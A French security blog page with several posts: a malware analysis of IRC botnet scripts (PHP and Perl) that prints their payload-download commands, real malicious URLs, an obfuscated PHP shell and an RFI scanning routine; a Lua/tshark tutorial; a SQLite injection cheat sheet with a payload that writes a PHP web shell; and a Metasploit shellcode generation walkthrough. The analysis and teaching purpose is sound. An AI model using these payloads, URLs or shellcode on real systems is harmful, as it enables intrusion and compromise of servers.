 $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');
 $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
 break;                                                                    
}

Alors allons y voyons voir ce fichier scan.txt.

Partie 2 , Le Script Perl, Second client IRC

J’ai donc aussi téléchargé ce fichier on peut le trouver chez malware.lu [MODE PROMO ON] Malware.lu le Rungis du malware.. il est frais mon malware, il est frais, arrivage à toutes heures [MODE PROMO OFF] sous le Sha 000f658b5abcf828d6a55ff475c11c40fee36417

Lui aussi c’est une belle bête, 3300 Lignes de perl, 140K de code. Si on en croit la bannière, la fonction de ce truc est annoncée clairement; c’est un Bot scanneur.

################################################################################
#                                                                             ##
#                                               BOT SCANNER SPESIAL EDITION   ##
# --------------------------------------------------------------------------- ##
# RELEASE BOT VERSI 7 Update On OKTOBER 2012                                  ##
################################################################################

Et on commence désormais à comprendre ou on a mis les pieds. Une poignée de variables définissent les exécutables utilisés par ce pack.

my $injector = "http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg";
my $action = "/data/shell.php?cmd=lwp-download%20http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg";
my $botshell = "http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt";
my $botshell2 = "http://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg";
my $thumbshell = "http://picasa.com.ritile.com/thumb.php";

On vient de télécharger «botshell2» en fait, et notre premier php était «botshell». je download tout de suite «aka.jpg» et «thumb.php» alias injector et thumbshell… On s’en occupera plus tard. Allez juste un rapide coup d’oeuil, «Aka.jpg» (Malware.lu Sha1: 9ad4d81bd0d4d8f51031837f75902257f1d8ca1f ) se révèle être un script php. «Thumb.php» est plus rigolo.. (Malware.lu Sha1: 4a0fbff2ef963fe2f9a4dcd79b0ce0c0529c53c2). Enfin un peu d’obfuscation du php caché dans un gif, le tout obfusqué dans un base64(gzip).. un classique de l’obfuscation php. Haaa enfin du chiant !!

thanat0s@server:~> file thumb.php 
thumb.php: GIF image data, version 89a, 16129 x 16129
thanat0s@server:~> strings thumb.php | head -n 12
GIF89a
??????????!??
????,????
?;?<?php
$language = 'eng';
$auth     = 0;
$name     = ''; // md5 Login
$pass     = ''; // md5 Password
/**************************************************************************************************************************************************************/
error_reporting(0);
$aceh="7b1pexs5rjD6efI8+Q9MjU9L6.......
....
oBLybSU5/qXPOtOv2Nn8GPDRjHUtG3D6OEg05+drX5iHJ5nPeKW1PvVQ71tNkz9iK2xs45
xcKCC8NJfqrOzfWWYCf4R7XLb6bVQtg+ft4QMNBerqZX/Hw==";
eval(gzinflate(base64_decode($aceh)));

Mais ne dérivons pas !!! Restons concentrés sur le “script.txt”. On se gardera les autres pour plus tard. Analysons notre scanner de bot en perl. C’est un peu plus élaboré. Le process Hook les signaux destinés à l’abattre, se redownloade encore une poignée de fois, Fork en spoofant le nom du process, ce qui lui évitera d’éveiller les soupçons en cas de «ps aux».

...
my $fakeproc  = "/usr/sbin/apace9 -k start";
...

# Hook des Signaux
$SIG{'INT'}   = 'IGNORE';
$SIG{'HUP'}   = 'IGNORE';
$SIG{'TERM'}  = 'IGNORE';
$SIG{'CHLD'}  = 'IGNORE';
$SIG{'PS'}    = 'IGNORE';
# Redownloade du script
chdir("/tmp");
chop (my $priper = `wget http://www.alesyaanisimova.ru/netcat/require/preview/akas.jpg -O akas.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O log.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O akas.jpg;wget http://87.201.203.154/HTouch/kickstart/images/shawls/scan.txt -O css.jpg`);
$ircserver = "$ARGV[0]" if $ARGV[0];
# Spoof le nom du process voir la variable fakeproc definie au debut
$0 = "$fakeproc"."\0" x 16;;
# Fork en background
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);

Et ensuite ça commence, ce script est lui aussi un client IRC. C’est depuis IRC qu’ils prend les commandes d’un administrateur qui doit être nommé LND-Bloodman.

my $datetime  = localtime;
my $fakeproc  = "/usr/sbin/apace2 -k start";
my $ircserver = "irc.seilen.de";
my $ircport   = "6667";
my $nickname  = "JACKLEAK[".int(rand(100))."]";
my $ident     = "rootleak";
my $channel   = "#secunet";
my $admin     = "LND-Bloodman";
my $fullname  = "incleak";

J’ai pas pu résister non plus, j’ai été sur l’irc… en une heure ne sont passés que 3 users, 2 admins et seul un gus était poncé, grosse déception… J’ai l’impression d’avoir raté la bataille.

[S+Z] JACKLEAK[34] (thanatos@SeilEn.de-01j9no.trollprod.org) has joined channel #secunet
[S+Z] Topic for #secunet: C8,0|C0,8|C7,8|C8,7|C4,7|C7,4|C5,4|C4,5|C1,5|C5,1| C9,1-=SecuNet: German Security Board-=- Music-Stream: C4OFFC9,1 Stream:
      http://194.88.247.15:7992/listen.pls C8,0|C0,8|C7,8|C8,7|C4,7|C7,4|C5,4|C4,5|C1,5|C5,1|
[S+Z] Set by LND-Bloodman on Fri Feb  1 17:10:08 2013
[S+Z] Users on #secunet: ~LND-Bloodman JACKLEAK[34] +JACKLEAK[45] @r00t @BuntspechT
[S+Z] Channel #secunet created on Sat Feb  2 12:26:58 2013
[S+Z] Mode change "+o JACKLEAK[34]" on channel #secunet by LND-Bloodman

Mais voyons voir ce que peut faire monsieur BloodMan… Là aussi le client IRC fournis pléthore de commandes extrêmement variée, je suis persuadé qu’il doit avoir fournir documentation parce qu’il y a une cinquantaine de commandes disponibles.voici un petit grep pour se rendre compte. En fait certaines commandes sont exécutables uniquement par Bloodman (!out, !reset.. Etc.. Et carrément des commandes systèmes) Mais d’autres commandes sont générale et exécutable par tous les membres du channel IRC.

# Gestion de l'irc et du process perl
if ($msg =~ /^PING (.*)/) {
if ($msg =~ /^VERSION/) {
if ($msg =~ /^TIME/) {
if (&isAdmin($nick) && $msg eq "!die") {
if (&isAdmin($nick) && $msg eq "!killall") {
if (&isAdmin($nick) && $msg eq "!reset") {
if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
if (&isAdmin($nick) && $msg =~ /^!pid/) {
if (&isAdmin($nick) && $msg !~ /^!/) {
if (&isAdmin($nick) && $msg eq "!out") {
if (&isAdmin($nick) && $msg eq "!killall") {
if (&isAdmin($nick) && $msg eq "!reset") {
f (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
if (&isAdmin($nick) && $msg eq "!part") {
if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
# La fete commence ici 
if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
if ($msg=~ /^!help/) {
        if ($msg=~ /^!yes/) {
        if ($msg=~ /^!no/) {
if ($msg=~ /^!amunition1/) {
if ($msg=~ /^!version/) {
if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
if (&isAdmin($nick) && $msg =~ /^!pid/) {
if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
if (&isAdmin($nick) && $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
if ($msg=~ /^!base64 (.*)$/ ) {
if ($msg=~ /^!base64decode (.*)$/ ) {
if ($msg=~ /^!md5 (.*)$/ ) {
if ($msg=~ /^!md5decode (.*)$/ ) {
if ($msg=~ /^!ip\s+(.*)/ ) {
if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$rficmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$lficmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$e107cmd\s+(.*)/) {
if ($msg=~ /^$xmlcmd\s+(.*?)\s+(.*)/ ) {
if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$ossqlcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$oscocmd\s+(.*)/) {
if ($msg=~ /^$esqlcmd\s+(.*)/) {
if ($msg=~ /^$admcmd\s+(.*)/) {
if ($msg=~ /^$opcmd\s+(.+?)\s+(.*)/) {
if ($msg=~ /^$zencmd\s+(.*)/) {
if ($msg=~ /^$whmcmd\s+(.*)/) {
if ($msg=~ /^$whmcmd\s+(.*)/) {

Ce client IRC perl là est plus avancé que le précédent en php dont l’orientation était clairement “DDoS”. En fait chaque Client IRC, simplifions et appellons cela un Bot. Chaque Bot donc peut servir de scanner de vulnérabilités sur d’autres sites. le Bot est capable de trouver et de scanner des failles de type LFI, WordPress, e107, ZeroBoard …etc ou d’ailileur tout autre failles en utilisant l’aide d’un moteur de recherche (Google, Yahoo etc…)  et il faut avouer que le script est plutôt complet en moteurs de recherches, le bigniou gère une cinquantaine de moteurs.

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "Simbah") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); }
    if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "AvG") { my @avg = &avg($dork); push(@total,@avg); }
    if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
    if ($engine eq "dMoz") { my @dmoz = &dmoz($dork); push(@total,@dmoz); }
    if ($engine eq "YahooHK") { my @yahoohk = &yahoohk($dork); push(@total,@yahoohk); }
    if ($engine eq "JackES") { my @jackes = &jackes($dork); push(@total,@jackes); }
    if ($engine eq "Yahoo7") { my @yahoo7 = &yahoo7($dork); push(@total,@yahoo7); }
    if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "RambLer") { my @rambler = &rambler($dork); push(@total,@rambler); }
    if ($engine eq "Ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); }
    if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "YaNdeX") { my @yandex = &yandex($dork); push(@total,@yandex); }
    if ($engine eq "ByPass2") { my @bypass2 = &bypass2($dork); push(@total,@bypass2); }
    if ($engine eq "BigLoBe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
    if ($engine eq "InteRia") { my @interia = &interia($dork); push(@total,@interia); }
    if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); }
    if ($engine eq "RicerCa") { my @ricerca = &ricerca($dork); push(@total,@ricerca); }
    if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); }
    if ($engine eq "Bypass") { my @bypass = &bypass($dork); push(@total,@bypass); }
    if ($engine eq "JackCOM") { my @jackcom = &jackcom($dork); push(@total,@jackcom); }
    if ($engine eq "JackTW") { my @jacktw = &jacktw($dork); push(@total,@jacktw); }
    if ($engine eq "JackEU") { my @jackeu = &jackeu($dork); push(@total,@jackeu); }
    if ($engine eq "JackSE") { my @jackse = &jackse($dork); push(@total,@jackse); }
    if ($engine eq "Sweden") { my @sweden = &sweden($dork); push(@total,@sweden); }
    if ($engine eq "JackORG") { my @jackorg = &jackorg($dork); push(@total,@jackorg); }
    if ($engine eq "JackPL") { my @jackpl = &jackpl($dork); push(@total,@jackpl); }
    if ($engine eq "JackRU") { my @jackru = &jackru($dork); push(@total,@jackru); }
    if ($engine eq "JackMY") { my @jackmy = &jackmy($dork); push(@total,@jackmy); }
    if ($engine eq "JackLV") { my @jacklv = &jacklv($dork); push(@total,@jacklv); }
    if ($engine eq "JackKR") { my @jackkr = &jackkr($dork); push(@total,@jackkr); }
    if ($engine eq "JackDK") { my @jackdk = &jackdk($dork); push(@total,@jackdk); }
    if ($engine eq "JackDE") { my @jackde = &jackde($dork); push(@total,@jackde); }
    if ($engine eq "JackCL") { my @jackcl = &jackcl($dork); push(@total,@jackcl); }
    if ($engine eq "JackRO") { my @jackro = &jackro($dork); push(@total,@jackro); }
    if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); }

Et la tout de suite on commence à comprendre ce qui a du arriver. Le Hit qui a affolé notre WAF est probablement un scan grotesque émis via un de ces Bots par un Botmaster découvrant le fonctionnement du biniou. Lançons le, mais avant de le lancer, J’ai vérifié, je n’ai pas trouvé de backdoor dans la backdoor.. Car oui généralement au fin fond du code, il y a toujours une seconde backdoor..ici je n’ai trouver qu’un truc très drôle et étonnant.

####### DON'T MODIF IT or SCRIPT NOT WORK #######
$powered="kuvix";         #
$mail="uicci.maza@yahoo.com";       #
#################################################
... cut ... cut ...
sub SIGN() {
if (($powered !~ /e/)||($mail !~ /tk/)) {
print "\nLAMER DETECTED FVCK YOU. YOU NOT HACKER. U JUST SCRIPT KIDDIES\n\n";
exec("rm -rf $0 && pkill perl");
}

Grand malheur à toi Lamer si ton nom contient un “e” ou que ton email contient “tk”. N’ayant rien trouvé de festif, j’ai donc lancé le bignou localement dans une sandbox pour enfin comprendre ce qu’il s’est passé.

bHYBJACKLEAK[68]bHYB  hadir gan   (~rootleak@localhost.trollprod.org) [15:31]
<master> !help
<JACKLEAK[68]> C15,1-=[C3MULTISCAN By Guardian Oux leak by LNDC15]=-
<JACKLEAK[68]>  C15,1-=[TRAY TO SCAN ?? !yes / !no ]=-
<master> !yes
<JACKLEAK[68]> C15,1 Tray command amunition1 C15
<master> !amunition1
<JACKLEAK[68]> C15,1C4|C15,1 !tum [BUG] [DORK] Timthumb Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !zero [BUG] [DORK] Zero Scan
<JACKLEAK[68]> C15,1C4|C15,1 !lfi [BUG] [DORK] Lfi Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !whmz [BUG] [DORK] WHM ScaN 
<JACKLEAK[68]> C15,1C4|C15,1  [BUG] [DORK] RFI Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !e107 [BUG] [DORK] E107 Scan
<JACKLEAK[68]> C15,1C4|C15,1 !xml [BUG] [DORK] XML Scan 
<JACKLEAK[68]> C15,1C4|C15,1  [BUG] [DORK] SQL Scan 
<JACKLEAK[68]> C15,1C4|C15,1 !osco [DORK] OScO Scan
<JACKLEAK[68]> C15,1C4|C15,1 !zen [BUG] [DORK] ZEN Scan

Et voila l’aide en ligne dit d’utiliser “COMMANDE” “BUG” “DORK” … Et oui on y est .. le Botmaster a probablement tapé “COMMANDE Bug Dork”…  Et du coup le bot à scanné comme un blaireau avec le paramètre Dork. D’ou le Dork en plein dans dans mon path. J’aime à penser que c’est un gars qui est tombé sur le channel par hasard et qui a tapé ceci, car c’est pas possible que ce soit une connerie du botmaster… rappelez vous la banière dit : “We are Legendz” ;)…

Maintenant petite anomalie, on m’a scanné pour bonze.jpg. Si on lit le code c’est la fonction “rfi()” qui m’a scanné. C’est le seul endroit qui appelle le bonze.

--- cut --- cut --- cut ---
my $botshell2  = "http://87.201.203.154/HTouch/kickstart/images/shawls/bonze.jpg";
--- cut --- cut --- cut ---
sub rfi() {
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $count = 0;
    my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
    my $num = scalar(@list);
    if ($num > 0) {
        foreach my $site (@list) {
            $count++;
        if ($count == $num-1) { &msg("$chan","$rfilogo ^C4$engine ^C0 Selesai ..."); }
        my $coba = "http://".$site.$bug."test??";
        my $test = "http://".$site.$bug.$injector."??";
        my $dor  = "http://".$site.$bug.$botshell."??";
        my $dor2  = "http://".$site.$bug.$botshell2."??";
        my $cek  = &get_content($coba);sleep(1);
        &get_content($dor);sleep(1);
        &get_content($dor2);sleep(1);
        if ($cek =~ /failed to open stream/i) {
          if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
          &rfi_xpl($test,$chan,$site);
          exit;}
          }
        }
    }
  }
}

Et là on en est sur maintenant le Botmaster sortait de biture, parce qu’il a en plus confondu le paramètre Dork et Bug ;). C’est le paramètre $bug qui est concaténé au test de backdoor. De plus c’est une autre version du script perl qui tourne, car chez moi, pour une raison que j’ignore l’appel à la fonction pour découvrir les rfi est commentée.

my $thumbcmd  = '!tum';
my $zerocmd   = '!zero';
my $lficmd    = '!lfi';
#my $rficmd    = '!rfi';
my $e107cmd   = '!e107';
my $xmlcmd    = '!xml';
#my $sqlcmd    = '!sql';
my $oscocmd   = '!osco';
my $zencmd    = '!zen';

Voila le mystère est éclaircis !!!

Résumé

Si le rfi (Remote file inclusion) fonctionnait, que le serveur avait accès à l’extérieur et surtout que l’attaquant ne découvrait pas le produit, je me serait retrouvé membre de deux botnet.

Le premier pilotable par IRC en php

  • Fonctions DDos en tous genres.
  • Fonction de scanner réseau.
  • Backdoor.

Le second pilotable par IRC en Perl

  • Fonction de scan de vulnérablitiée de tous poils.
  • Fonctions exotiques; Bruteforce SQL, reverse MD5 etc…
  • Backdoor.

Epilogue

On vient de le voir, il est important de bien tenir ses systèmes à jours, surtout les systèmes dit “WinWin” du type WordPress, e107 ou tout autre CMS. Dès qu’une faille est disponible les scanneurs sont déja en chemin. Une autre chose simple. Ne laissez pas sortir vos serveurs à tous vents, un serveur ne doit pas avoir le droit de sortir sur Internet de son propre chef. Cette règle doit être valable même pour le serveur de l’association de bridge du coin. Configurez le firewall !! Dans le cas contraire, la punition est claire, on risque de se voir rapidement embrigadé dans une poignée de Botnet équipés de scanneur bugophages.

Bon Je me garde le dessossage des deux autre scripts pour plus tard. Tentons tous de même de contacter ces pauvres petites victimes, une pierre dans l’eau n’en doutons pas.

Posted in Hacking, WebSecurity | Tagged , , | 1 Comment

Lua Lui, Ho baby..Me gotta go now !

C’est quoi donc ?

Aujourd’hui on vas voir un truc qui est assez sympas. Le scripting LUA associé a nos petits outils réseaux.

LUA est un énième language de script (Voir son wikipedia pour plus de détails). Ce qui est sympas avec ce language c’est qu’il s’interface avec Tshark et/ou les dernières versions de Suricata.

Cela permet d’étendre par de petits scripts les possibilités de ces soft. Sous tsharK cela permettra par exemple sortir les stats les plus tordues en restant dans sa petite console texte. Mais c’est potentiellement très violent, cela peut aller jusqu’à écrire son propre dissecteur de protocol.  Alors certes les puristes diront que c’est du script..donc ça rame… Mouais.. je vous laisserai vous faire votre opinion… c’est pas si pénalisant que cela.

C’est partit Maryse

Voyons maintenant comment cela s’enmanche avec tsharK. C’est assez simple en fait, je ne reviendrais pas sur le language Lua lui même qui est, avouons le, un étrange mix de divers languages (On dirait du python qui se fout de l’indentation munis des commentaires à la sql et fournis un jeu de fonction très spartiate..bref c’est très étrange, mais simple et pas désagréable. Bref étonnamment pas trop velus quoi. (Qui comprendra la vanne ??)). Non, je répète je ne ferait pas de cours de Lua, mais on va voir comment l’interfacer avec notre pote tsharK.

Le Projet

Faisons un compteur de requêtes ‘POST’ .. c’est débile mais c’est un bon TP pour commencer.

il y a trois choses à faire, premièrement déclarer un hook. Ce hook est basé sur n’importe quel filtre Wireshark. Par exemple dans notre cas on veut incrémenter un compteur à chaque requête http de type “POST” qui passe… On va donc va faire un hook sur les “http.request” et à chaque fois qu’une “http.request” va se pointer notre hook sera appelé. Le hook vérifia que c’est bien un post et incrémentera un compteur.

Voici a quoi cela ressemble :

C_POST = 0
tap_http_rq = Listener.new(nil,"http.request")

Je définit mon compteur nommé C_POST, je l’initialise à 0. Ensuite je définit un nouveau listener qui sera appelé quand se présentera une paquet correspondant au filtre wireshark “http.request”. C’est notre fameux Hook. Le premier nil (équivalent d’un null ;) ) du listener sert à poser un filtre sur notre hook. Ici pas de filtres TOUS les paquets de requête http attrapés par tsharK seront envoyées au Hook

Passons à l’étape 2 ; 

method_f = Field.new("http.request.method")

function tap_http_rq.packet()
  method = string.upper(tostring(method_f()))
  if method == "POST" then
    C_POST = C_POST + 1
  end
end

je crée un autre object method_f qui sera remplis avec ce que contient le filtre wireshark “http.request.method”.

Et ensuite la fonction “packet” de notre hook.. nommé “tap_http_rq”.  Ligne 4 je récupère la méthode depuis l’objet et je la convertit en string. Au passage je la convertit en uppercase (Le puriste dirait que si c’est pas un POST majuscule ca devrait dégager.. mais bon je suis sympas).

Ligne 5, je vérifie que c’est bien un POST.. si c’est un POST j’incrémente mon compteur

Voila on a presque finis… maintenant à la fin de la capture, on va afficher le résultat de notre comptage.

function tap_http_rq.draw()
  debug("Post Request: " .. C_POST)
end

La fonction “draw” de notre hook est appelée quand tshark a finit de processer les paquets. J’affiche donc “Post Request : lechiffre” Car oui sous Lua un “..” concatène. (Pourquoi “..” !! ). J’utilise pas un simple print mais un debug, mes stats s’afficheront dans le STDERR. Ca me permet de lancer tshark avec l’output vers /dev/null pour ne pas salir mon terminal (le -q).

On sauve tout cela dans un fichier nommé count_post.lua et pour finir … Lancons tshark en invoquant notre script :

$ tshark -r mycap.pcap -Xlua_script:count_post.lua -q

Sur certaine distribution, Lua n’est pas actif dans tshark ou wireshark. Si cela arrive, ouvrez le fichier “/etc/wireshark/init.lua” et commentez la ligne “disable_lua = true;”

Epilogue

Pour ceux que ca a branché, j’ai posé mes premiers scripts dans mon github https://github.com/Th4nat0s/lua_scripts, un compteur de requêtes/réponses et un autre bien sympas qui montre qui hit à mort un site web.

A+

Posted in Network | Tagged , | Leave a comment

DefCon one Man Show

C’est pas technique à mort… C’est drôle à mort !!

Posted in BlaBla, WebSecurity | Tagged , , | Leave a comment

SQLite le mal aimé des SQLi

Pourquoi ?

Quand on cherche à faire des sqli sur du SQLite on est toujours un peu décu par Google, s’il existe des bible assez complètes sur les autre DB, (voir http://www.websec.ca/kb/sql_injection ou http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet ) mais pour SQLite c’est lite (comme son nom l’indique)… Alors certes il est peu probable d’avoir un client qui hoste une bonne grosse DB sur du SQLite, mais sais t’on jamais, cela peut servir pour allez plus loin.

Petit guide

Version select sqlite_version();
Comments /* */ ou – – jusque eol
Show tables select name from sqlite_master where type=’table’;
Describe table 
select sql FROM sqlite_master WHERE tbl_name = ‘mytable‘ AND type = ‘table’;
Select Nth Row  select * from tbl1 limit 0,1;  puis  select * from tbl1 limit 1,1; etc…
Sleep n’existe pas mais en sqlite3.3 et > je fait presque 6 sec avec une mamaille du genre select substr(upper(hex(randomblob(99999999))),0,1);
Generate quote (sqlite3 only)  select substr(quote(hex(0)),1,1);
Generate dbl quote (sqlite3 only) select cast(X’22’ as text);

Le cas des stacked queries en SQL3

J’ai découvert cela sur le blog de 0x7674 cela fonctionne à tous le coups pour l’instant. C’est affolant. Seul prérequis, SQL3 et pouvoir placer plusieurs requêtes SQL d’affilée.

Comment détecter les stacked queries..

En SQLlite3 une fois détecté grâce au pseudo équivalent de Sleep vu plus haut. Quand on attache une db si le fichier existe pas, sqlite le crée pour vous. bilan:

id=1′; ATTACH DATABASE ‘/var/www/cmd.php’ as toto; — X

Si le fichier cmd.php apparait dans votre browser c’est gagné. Quand les stacked queries sont activées et c’est la fête ! après avoir créé votre db, vous pouvez uploader le php de votre choix dedans et avoir votre remote shell.

id=1′; CREATE TABLE toto.cmd (dataz text); INSERT INTO toto.cmd (dataz) VALUES (‘<?system($_POST[‘C’]);?>’);–

En version 2, cela ne créé pas le fichier. Sniff..

Enfin un bon liens :
http://www.sqlite.org/c3ref/funclist.html

Et Bonne Année 2013

Posted in Hacking, WebSecurity | Tagged , | 1 Comment

Shellcodes sous Metasploit

Le Shellcode du faignant…

Si comme moi dans un bon vieux chall avec la pile executable vous en avez un peu marre de copier coller du shellcode depuis ShellStorm puis d’aller éditer laborieusement en hexa un /bin//sh pour le convertir en /tmp//go pour vos propres besoins, n’oubliez pas que MetaSploit est votre ami pour la vie.

Il peut générer au vol tout une gamme de shellcode (tcp, reverse tcp, exec etc…) pour une grande variété d’os et à destination du langage de programmation de votre choix.

Le générateur de shellcode dispose de son propre executable. “msfpayload”. L’option “-l” liste tous les shellcode disponibles, un grep vous aidera à trouver vos amis pour la vie

cyanide:/metasploit# ./msfpayload -l | grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Listen for a connection over IPv6, Staged meterpreter server
linux/x86/meterpreter/bind_nonx_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/bind_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/find_tag Use an established connection, Staged meterpreter server
linux/x86/meterpreter/reverse_ipv6_tcp Connect back to attacker over IPv6, Staged meterpreter server
linux/x86/meterpreter/reverse_nonx_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/meterpreter/reverse_tcp Connect back to the attacker, Staged meterpreter server
...
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell

Bon ici moi ce qui m’intéresse c’est /linux/x86/exec, mais il faut lui passer des paramètres, pour savoir quels paramètres il veut c’est l’option O (moyen mnémotechnique «O»ptions :) )

cyanide:/metasploit# ./msfpayload linux/x86/exec O

Name: Linux Execute Command
Module: payload/linux/x86/exec
Version: 14774
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 143
Rank: Normal

Provided by:
vlad902 <vlad902@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD           yes The command string to execute

Description:
Execute an arbitrary command


Ici le seul paramêtre obligatoire est la commande à lancer (CMD). Il ne reste plus qu’a demander le shellcode dans le language de son choix, c en C, p en Perl, y en RubY etc…

En Perl :

cyanide:/metasploit# ./msfpayload linux/x86/exec CMD=/tmp/go p
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# PrependSetresgid=false, AppendExit=false,
# PrependSetgid=false, PrependChrootBreak=false,
# PrependSetresuid=false, CMD=/tmp/go, PrependSetregid=false,
# VERBOSE=false, PrependSetuid=false, PrependSetreuid=false
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" .
"\x00\x2f\x74\x6d\x70\x2f\x67\x6f\x00\x57\x53\x89\xe1\xcd" .
"\x80";

En C

cyanide:/metasploit# ./msfpayload linux/x86/exec CMD=/tmp/go c
/*
* linux/x86/exec - 43 bytes
* http://www.metasploit.com
* PrependSetresgid=false, AppendExit=false,
* PrependSetgid=false, PrependChrootBreak=false,
* PrependSetresuid=false, CMD=/tmp/go, PrependSetregid=false,
* VERBOSE=false, PrependSetuid=false, PrependSetreuid=false
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x74\x6d\x70\x2f\x67\x6f\x00\x57\x53\x89\xe1\xcd\x80";

C’est pas un truc de faignant cela, bon les puristes l’auront remarqués, Hé mec, il y a des 0x00 dans ton shellcode, c’est voué à l’échec … C’est vrai que c’est embettant pour tout shellcode que l’on fourrerais dans une string, et c’est là que msfencode apparaît lui, sa vie son oeuvre c’est d’encoder le shellcode au besoin.


cyanide:/metasploit#./msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
